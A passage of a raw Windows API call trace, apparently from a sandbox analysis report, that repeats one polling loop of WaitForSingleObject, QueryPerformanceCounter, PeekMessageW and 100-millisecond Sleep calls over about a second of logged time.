| out: lpMsg=0x2df914) returned 0 [0154.073] Sleep (dwMilliseconds=0x64) [0154.088] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790153353) returned 1 [0154.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790153531) returned 1 [0154.089] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.089] Sleep (dwMilliseconds=0x64) [0154.102] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.102] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790201805) returned 1 [0154.102] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790201960) returned 1 [0154.103] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.103] Sleep (dwMilliseconds=0x64) [0154.118] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790255572) returned 1 [0154.118] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790255775) returned 1 [0154.119] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.119] Sleep (dwMilliseconds=0x64) [0154.133] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790307999) returned 1 [0154.133] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790308135) returned 1 [0154.134] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.134] Sleep (dwMilliseconds=0x64) [0154.149] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790361241) returned 1 [0154.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790361378) returned 1 [0154.150] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.150] Sleep (dwMilliseconds=0x64) [0154.165] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790415126) returned 1 [0154.165] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790415279) returned 1 [0154.165] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.166] Sleep (dwMilliseconds=0x64) [0154.181] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790470039) returned 1 [0154.181] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790470197) returned 1 [0154.181] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.182] Sleep (dwMilliseconds=0x64) [0154.197] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790524270) returned 1 [0154.197] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790524407) returned 1 [0154.197] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.198] Sleep (dwMilliseconds=0x64) [0154.211] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.211] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790574773) returned 1 [0154.212] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790574953) returned 1 [0154.212] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.213] Sleep (dwMilliseconds=0x64) [0154.227] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790628053) returned 1 [0154.227] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790628190) returned 1 [0154.228] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.228] Sleep (dwMilliseconds=0x64) [0154.243] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.243] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790681322) returned 1 [0154.243] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790681457) returned 1 [0154.243] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.244] Sleep (dwMilliseconds=0x64) [0154.258] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790734488) returned 1 [0154.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790734686) returned 1 [0154.259] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.259] Sleep (dwMilliseconds=0x64) [0154.274] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.274] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790788081) returned 1 [0154.274] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790788225) returned 1 [0154.274] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.275] Sleep (dwMilliseconds=0x64) [0154.290] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790843254) returned 1 [0154.290] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790843403) returned 1 [0154.291] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.291] Sleep (dwMilliseconds=0x64) [0154.305] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.305] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790895242) returned 1 [0154.305] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790895387) returned 1 [0154.306] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.306] Sleep (dwMilliseconds=0x64) [0154.321] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.321] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=790947829) returned 1 [0154.321] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=790947972) returned 1 [0154.321] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.322] Sleep (dwMilliseconds=0x64) [0154.336] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791001491) returned 1 [0154.336] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791001671) returned 1 [0154.337] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.337] Sleep (dwMilliseconds=0x64) [0154.352] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791055827) returned 1 [0154.352] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791055973) returned 1 [0154.353] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.353] Sleep (dwMilliseconds=0x64) [0154.367] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.367] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791108003) returned 1 [0154.368] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791108149) returned 1 [0154.368] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.368] Sleep (dwMilliseconds=0x64) [0154.383] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.383] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791161670) returned 1 [0154.383] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791161887) returned 1 [0154.384] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.384] Sleep (dwMilliseconds=0x64) [0154.399] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.399] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791217068) returned 1 [0154.399] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791217246) returned 1 [0154.400] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.401] Sleep (dwMilliseconds=0x64) [0154.414] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.414] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791267951) returned 1 [0154.414] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791268086) returned 1 [0154.415] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.415] Sleep (dwMilliseconds=0x64) [0154.430] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.430] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791321412) returned 1 [0154.430] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791321571) returned 1 [0154.430] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.431] Sleep (dwMilliseconds=0x64) [0154.451] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791394760) returned 1 [0154.451] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791394940) returned 1 [0154.452] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.453] Sleep (dwMilliseconds=0x64) [0154.464] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791436855) returned 1 [0154.464] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791436991) returned 1 [0154.464] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.465] Sleep (dwMilliseconds=0x64) [0154.492] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791535060) returned 1 [0154.492] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791535234) returned 1 [0154.493] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.494] Sleep (dwMilliseconds=0x64) [0154.508] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.508] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791587634) returned 1 [0154.508] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791587788) returned 1 [0154.508] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.509] Sleep (dwMilliseconds=0x64) [0154.523] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.523] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791640762) returned 1 [0154.523] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791640895) returned 1 [0154.524] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.524] Sleep (dwMilliseconds=0x64) [0154.539] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.539] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791694178) returned 1 [0154.539] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791694307) returned 1 [0154.539] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.540] Sleep (dwMilliseconds=0x64) [0154.555] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791747592) returned 1 [0154.555] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791747709) returned 1 [0154.555] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.555] Sleep (dwMilliseconds=0x64) [0154.570] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791800602) returned 1 [0154.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791800713) returned 1 [0154.571] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.571] Sleep (dwMilliseconds=0x64) [0154.586] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.586] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791854266) returned 1 [0154.586] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791854402) returned 1 [0154.586] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.587] Sleep (dwMilliseconds=0x64) [0154.602] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.602] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791909403) returned 1 [0154.602] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791909512) returned 1 [0154.602] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.603] Sleep (dwMilliseconds=0x64) [0154.617] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.618] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=791962618) returned 1 [0154.618] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=791962728) returned 1 [0154.618] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.618] Sleep (dwMilliseconds=0x64) [0154.633] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792014450) returned 1 [0154.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792014632) returned 1 [0154.633] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.634] Sleep (dwMilliseconds=0x64) [0154.649] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792071479) returned 1 [0154.649] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792071589) returned 1 [0154.650] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.650] Sleep (dwMilliseconds=0x64) [0154.664] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.664] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792121145) returned 1 [0154.664] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792121331) returned 1 [0154.664] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.665] Sleep (dwMilliseconds=0x64) [0154.679] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.680] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792174693) returned 1 [0154.680] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792174873) returned 1 [0154.680] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.681] Sleep (dwMilliseconds=0x64) [0154.696] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.696] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792232102) returned 1 [0154.696] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792232256) returned 1 [0154.697] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.697] Sleep (dwMilliseconds=0x64) [0154.711] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.711] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792283041) returned 1 [0154.711] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792283195) returned 1 [0154.712] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.712] Sleep (dwMilliseconds=0x64) [0154.726] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.726] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792334352) returned 1 [0154.726] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792334507) returned 1 [0154.727] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.727] Sleep (dwMilliseconds=0x64) [0154.742] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.742] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792387742) returned 1 [0154.742] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792387878) returned 1 [0154.742] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.743] Sleep (dwMilliseconds=0x64) [0154.757] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792440913) returned 1 [0154.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792441058) returned 1 [0154.758] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.758] Sleep (dwMilliseconds=0x64) [0154.773] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.773] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792494214) returned 1 [0154.773] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792494358) returned 1 [0154.774] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.774] Sleep (dwMilliseconds=0x64) [0154.789] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.789] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792547527) returned 1 [0154.789] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792547674) returned 1 [0154.789] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.790] Sleep (dwMilliseconds=0x64) [0154.804] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.804] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792601355) returned 1 [0154.804] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792601535) returned 1 [0154.805] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.805] Sleep (dwMilliseconds=0x64) [0154.820] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.820] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792656149) returned 1 [0154.820] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792656292) returned 1 [0154.821] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.821] Sleep (dwMilliseconds=0x64) [0154.835] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.835] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792707708) returned 1 [0154.836] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792707887) returned 1 [0154.836] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.837] Sleep (dwMilliseconds=0x64) [0154.851] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.851] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792761096) returned 1 [0154.851] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792761280) returned 1 [0154.852] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.852] Sleep (dwMilliseconds=0x64) [0154.880] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792860935) returned 1 [0154.880] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792861103) returned 1 [0154.882] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 